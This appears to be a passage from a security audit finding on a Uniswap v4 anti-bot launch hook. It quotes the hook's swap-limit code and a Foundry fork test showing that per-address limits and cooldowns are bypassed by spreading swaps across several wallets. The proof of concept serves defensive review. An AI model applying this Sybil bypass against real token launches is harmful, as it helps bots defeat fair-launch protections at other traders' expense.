However, this protection is trivially bypassed by distributing tokens across multiple wallets. Each new wallet has fresh limits and no cooldown history, allowing a bot to exceed the intended per-user limits by simply using N wallets to get N times the allowed swap amount.
@> function _beforeSwap(address sender, PoolKey calldata key, SwapParams calldata params, bytes calldata)
internal
override
returns (bytes4, BeforeSwapDelta, uint24)
{
if (launchStartBlock == 0) revert PoolNotInitialized();
if (initialLiquidity == 0) {
uint128 liquidity = StateLibrary.getLiquidity(poolManager, key.toId());
initialLiquidity = uint256(liquidity);
}
uint256 blocksSinceLaunch = block.number - launchStartBlock;
uint256 newPhase;
if (blocksSinceLaunch <= phase1Duration) {
newPhase = 1;
} else if (blocksSinceLaunch <= phase1Duration + phase2Duration) {
newPhase = 2;
} else {
newPhase = 3;
}
if (newPhase != currentPhase) {
_resetPerAddressTracking();
currentPhase = newPhase;
lastPhaseUpdateBlock = block.number;
}
if (currentPhase == 3) {
return (BaseHook.beforeSwap.selector, BeforeSwapDeltaLibrary.ZERO_DELTA, LPFeeLibrary.OVERRIDE_FEE_FLAG);
}
uint256 phaseLimitBps = currentPhase == 1 ? phase1LimitBps : phase2LimitBps;
uint256 phaseCooldown = currentPhase == 1 ? phase1Cooldown : phase2Cooldown;
uint256 phasePenaltyBps = currentPhase == 1 ? phase1PenaltyBps : phase2PenaltyBps;
uint256 swapAmount =
params.amountSpecified < 0 ? uint256(-params.amountSpecified) : uint256(params.amountSpecified);
uint256 maxSwapAmount = (initialLiquidity * phaseLimitBps) / 10000;
bool applyPenalty = false;
if (addressLastSwapBlock[sender] > 0) {
@> uint256 blocksSinceLastSwap = block.number - addressLastSwapBlock[sender];
if (blocksSinceLastSwap < phaseCooldown) {
applyPenalty = true;
}
}
@> if (!applyPenalty && addressSwappedAmount[sender] + swapAmount > maxSwapAmount) {
applyPenalty = true;
}
@> addressSwappedAmount[sender] += swapAmount;
@> addressLastSwapBlock[sender] = block.number;
uint24 feeOverride = 0;
if (applyPenalty) {
feeOverride = uint24((phasePenaltyBps * 100));
}
return (
BaseHook.beforeSwap.selector,
BeforeSwapDeltaLibrary.ZERO_DELTA,
feeOverride | LPFeeLibrary.OVERRIDE_FEE_FLAG
);
}
pragma solidity ^0.8.26;
import "forge-std/console.sol";
import {Test, console2} from "forge-std/Test.sol";
import {TokenLaunchHook} from "../src/TokenLaunchHook.sol";
import {MockERC20} from "solmate/src/test/utils/mocks/MockERC20.sol";
import {IPoolManager} from "@uniswap/v4-core/src/interfaces/IPoolManager.sol";
import {IPositionManager} from "v4-periphery/src/interfaces/IPositionManager.sol";
import {IUniswapV4Router04} from "lib/hookmate/src/interfaces/router/IUniswapV4Router04.sol";
import {AddressConstants} from "lib/hookmate/src/constants/AddressConstants.sol";
import {SwapParams, ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {V4Router} from "v4-periphery/src/V4Router.sol";
import {Currency, CurrencyLibrary} from "v4-core/types/Currency.sol";
import {ERC1155TokenReceiver} from "solmate/src/tokens/ERC1155.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {PoolId} from "v4-core/types/PoolId.sol";
import {IHooks} from "v4-core/interfaces/IHooks.sol";
import {Hooks} from "v4-core/libraries/Hooks.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {SqrtPriceMath} from "v4-core/libraries/SqrtPriceMath.sol";
import {LiquidityAmounts} from "@uniswap/v4-core/test/utils/LiquidityAmounts.sol";
import {HookMiner} from "v4-periphery/src/utils/HookMiner.sol";
import {LPFeeLibrary} from "v4-core/libraries/LPFeeLibrary.sol";
import {StateLibrary} from "v4-core/libraries/StateLibrary.sol";
import {BeforeSwapDelta, BeforeSwapDeltaLibrary} from "v4-core/types/BeforeSwapDelta.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {Actions} from "v4-periphery/src/libraries/Actions.sol";
import {IAllowanceTransfer} from "permit2/src/interfaces/IAllowanceTransfer.sol";
contract TestTokenLaunchHookFork is Test, ERC1155TokenReceiver {
address constant PERMIT2 = 0x000000000022D473030F116dDEE9F6B43aC78BA3;
IPoolManager poolManager;
IPositionManager positionManager;
IUniswapV4Router04 swapRouter;
MockERC20 token;
TokenLaunchHook public antiBotHook;
PoolKey public key;
Currency ethCurrency = Currency.wrap(address(0));
Currency tokenCurrency;
address user1 = address(0x1);
address user2 = address(0x2);
address bot1 = address(0xB0B1);
address bot2 = address(0xB0B2);
address deployer = makeAddr("deployer");
uint160 constant SQRT_PRICE_1_1_s = 79228162514264337593543950336;
uint256 phase1Duration = 100;
uint256 phase2Duration = 100;
uint256 phase1LimitBps = 100;
uint256 phase2LimitBps = 500;
uint256 phase1Cooldown = 5;
uint256 phase2Cooldown = 2;
uint256 phase1PenaltyBps = 1000;
uint256 phase2PenaltyBps = 500;
string MAINNET_RPC_URL = vm.envString("MAINNET_RPC_URL");
function setUp() public {
vm.createSelectFork(MAINNET_RPC_URL);
poolManager = IPoolManager(AddressConstants.getPoolManagerAddress(block.chainid));
positionManager = IPositionManager(payable(AddressConstants.getPositionManagerAddress(block.chainid)));
swapRouter = IUniswapV4Router04(payable(AddressConstants.getV4SwapRouterAddress(block.chainid)));
token = new MockERC20("TOKEN", "TKN", 18);
tokenCurrency = Currency.wrap(address(token));
token.mint(address(this), 1000 ether);
token.mint(user1, 1000 ether);
token.mint(user2, 1000 ether);
token.mint(bot1, 1000 ether);
token.mint(bot2, 1000 ether);
bytes memory creationCode = type(TokenLaunchHook).creationCode;
bytes memory constructorArgs = abi.encode(
poolManager,
phase1Duration,
phase2Duration,
phase1LimitBps,
phase2LimitBps,
phase1Cooldown,
phase2Cooldown,
phase1PenaltyBps,
phase2PenaltyBps
);
uint160 flags = uint160(Hooks.AFTER_INITIALIZE_FLAG | Hooks.BEFORE_SWAP_FLAG);
(address hookAddress, bytes32 salt) = HookMiner.find(address(this), flags, creationCode, constructorArgs);
antiBotHook = new TokenLaunchHook{salt: salt}(
poolManager,
phase1Duration,
phase2Duration,
phase1LimitBps,
phase2LimitBps,
phase1Cooldown,
phase2Cooldown,
phase1PenaltyBps,
phase2PenaltyBps
);
require(address(antiBotHook) == hookAddress, "Hook address mismatch");
token.approve(address(swapRouter), type(uint256).max);
token.approve(address(poolManager), type(uint256).max);
vm.prank(user1);
token.approve(address(swapRouter), type(uint256).max);
vm.prank(user2);
token.approve(address(swapRouter), type(uint256).max);
vm.prank(bot1);
token.approve(address(swapRouter), type(uint256).max);
vm.prank(bot2);
token.approve(address(swapRouter), type(uint256).max);
key = PoolKey({
currency0: ethCurrency,
currency1: tokenCurrency,
fee: LPFeeLibrary.DYNAMIC_FEE_FLAG,
tickSpacing: 60,
hooks: IHooks(address(antiBotHook))
});
vm.startPrank(deployer);
poolManager.initialize(key, SQRT_PRICE_1_1_s);
uint160 sqrtPriceAtTickUpper = TickMath.getSqrtPriceAtTick(60);
uint256 ethToAdd = 100 ether;
uint128 liquidityDelta = LiquidityAmounts.getLiquidityForAmount0(SQRT_PRICE_1_1_s, sqrtPriceAtTickUpper, ethToAdd);
vm.deal(deployer, 200 ether);
token.mint(deployer, 2000 ether);
token.approve(PERMIT2, type(uint256).max);
IAllowanceTransfer(PERMIT2).approve(address(token), address(positionManager), type(uint160).max, type(uint48).max);
bytes memory actions = abi.encodePacked(uint8(Actions.MINT_POSITION), uint8(Actions.SETTLE_PAIR));
bytes[] memory params = new bytes[](2);
params[0] = abi.encode(key, -60, 60, uint256(liquidityDelta), type(uint256).max, type(uint256).max, deployer, bytes(""));
params[1] = abi.encode(ethCurrency, tokenCurrency);
positionManager.modifyLiquidities{value: ethToAdd}(abi.encode(actions, params), block.timestamp + 60);
vm.stopPrank();
}
function test_Fork_SybilBypassesLimits() public {
uint256 swapAmount = 5 ether;
vm.startPrank(user1);
swapRouter.swap{value: 0}(-int256(swapAmount), 0, false, key, bytes(""), bot1, block.timestamp + 60);
vm.roll(block.number + phase1Duration + 1);
swapRouter.swap{value: 0}(-int256(swapAmount), 0, false, key, bytes(""), bot2, block.timestamp + 60);
vm.stopPrank();
vm.startPrank(bot1);
swapRouter.swap{value: 0}(-int256(swapAmount), 0, false, key, bytes(""), bot1, block.timestamp + 60);
vm.stopPrank();
vm.startPrank(bot2);
swapRouter.swap{value: 0}(-int256(swapAmount), 0, false, key, bytes(""), bot2, block.timestamp + 60);
vm.stopPrank();
uint256 swappedAmountUser1 = antiBotHook.addressSwappedAmount(user1);
uint256 swappedAmountBot1 = antiBotHook.addressSwappedAmount(bot1);
uint256 swappedAmountBot2 = antiBotHook.addressSwappedAmount(bot2);
assertEq(antiBotHook.addressSwappedAmount(bot1), swapAmount);
assertEq(antiBotHook.addressSwappedAmount(bot2), swapAmount);
assertEq(antiBotHook.addressSwappedAmount(user1), swapAmount * 2);
assertGt(swappedAmountUser1, swappedAmountBot1);
assertGt(swappedAmountUser1, swappedAmountBot2);
}
}
Per-address rate limiting is fundamentally weak against Sybil attacks. Consider alternative approaches: